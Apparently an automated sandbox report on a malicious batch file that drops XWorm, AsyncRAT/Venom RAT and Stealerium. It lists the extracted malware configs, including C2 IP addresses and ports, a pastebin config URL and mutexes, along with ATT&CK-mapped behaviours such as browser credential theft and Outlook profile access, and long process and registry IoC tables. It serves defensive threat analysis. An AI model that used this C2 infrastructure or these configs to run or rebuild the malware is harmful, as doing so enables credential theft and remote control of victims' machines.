asyncrat | d13cd401cd3e151ecc1ddaba54245fbaadb91e76614f0ec7b203522a7fee8baf

Analysis

max time kernel
648s
max time network
651s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
30-07-2024 20:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

new.bat
Size

53KB
MD5

902f4ecd4c40073cd9c8d5448075fa37
SHA1

5a91f98c5215ee6375dc6288f484ae370b289db3
SHA256

d13cd401cd3e151ecc1ddaba54245fbaadb91e76614f0ec7b203522a7fee8baf
SHA512

8c123b647a516a057a817173012f5632242ba0676d11ac61509d6cea876c366486d3059c0ba20b78de94a4bf5ea22a3a72b9ca81c14d0fb0effaabef1b2adfc3
SSDEEP

768:Bc6tDHus93xf8AeF07J28B7cyqr1fAGz7UqrBkhyuRlPrV0rohyOSeEIcNlYiLt0:vtxwVtb1FNFhV6VO/DOvRMpSYG

Score

10^/10

asyncrat stealerium xworm default collection credential_access discovery execution persistence privilege_escalation rat stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

157.20.182.172:7000

157.20.182.172:8000

Mutex

iHRgIbaS0FTMce5d

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

asyncrat

Botnet

Default

45.66.231.150:3232

157.20.182.172:3232

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

Mutex

nlthbmfyadihv

Attributes

delay
1
install
false
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/zNe6NH5y

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/4320-11653-0x00000295E9940000-0x00000295E9950000-memory.dmp	family_xworm
behavioral2/memory/1300-11693-0x000002E8A14C0000-0x000002E8A14D0000-memory.dmp	family_xworm

Stealerium
An open source info stealer written in C# first seen in May 2022.
stealer stealerium

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2432 created 3344	2432	python.exe	54
PID 1204 created 3344	1204	python.exe	54
PID 4036 created 3344	4036	python.exe	54
PID 3668 created 3344	3668	python.exe	54
PID 508 created 3344	508	python.exe	54

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Async RAT payload 3 IoCs

rat

resource	yara_rule
behavioral2/memory/2488-11663-0x00000188CA830000-0x00000188CA846000-memory.dmp	family_asyncrat
behavioral2/memory/2828-11678-0x0000023A34B80000-0x0000023A34B96000-memory.dmp	family_asyncrat
behavioral2/memory/4580-11701-0x000001FCBB9E0000-0x000001FCBB9F8000-memory.dmp	family_asyncrat

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	4580	powershell.exe
27	4340	powershell.exe
61	3580	powershell.exe
69	3352	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4340	powershell.exe
4752	powershell.exe
4580	powershell.exe
4340	powershell.exe
3580	powershell.exe
3352	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 5 IoCs

pid	Process
2432	python.exe
1204	python.exe
4036	python.exe
3668	python.exe
508	python.exe

Loads dropped DLL 31 IoCs

pid	Process
2432	python.exe
2432	python.exe
2432	python.exe
2432	python.exe
2432	python.exe
2432	python.exe
2432	python.exe
1204	python.exe
1204	python.exe
1204	python.exe
1204	python.exe
1204	python.exe
1204	python.exe
4036	python.exe
4036	python.exe
4036	python.exe
4036	python.exe
4036	python.exe
4036	python.exe
3668	python.exe
3668	python.exe
3668	python.exe
3668	python.exe
3668	python.exe
3668	python.exe
508	python.exe
508	python.exe
508	python.exe
508	python.exe
508	python.exe
508	python.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
68	pastebin.com
70	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
74	icanhazip.com
79	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
6120	cmd.exe
6068	netsh.exe
5992	cmd.exe
588	netsh.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	notepad.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	notepad.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
2112	timeout.exe
4840	timeout.exe
968	timeout.exe
3944	timeout.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\NextBrowserDataLogTime = d040d023f0e2da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData\RulesFileNextUpdateDate = "428532861"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage\Total	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3b618ebebde2da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Next Rating Prompt = 3066ce79b9eada01	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 2cc2afbebde2da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage\www.msn.com	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Telligent	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\NextUpdateDate = "429152320"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\""	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\MrtCache	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 4	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4320	notepad.exe
1300	notepad.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4580	powershell.exe
4580	powershell.exe
4580	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
4752	powershell.exe
4752	powershell.exe
4752	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
2432	python.exe
1204	python.exe
4036	python.exe
3668	python.exe
508	python.exe
3580	powershell.exe
3580	powershell.exe
3580	powershell.exe
3580	powershell.exe
3352	powershell.exe
3352	powershell.exe
3352	powershell.exe
3352	powershell.exe
1300	notepad.exe
1300	notepad.exe
4580	notepad.exe
4580	notepad.exe
4580	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2488	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
2828	notepad.exe
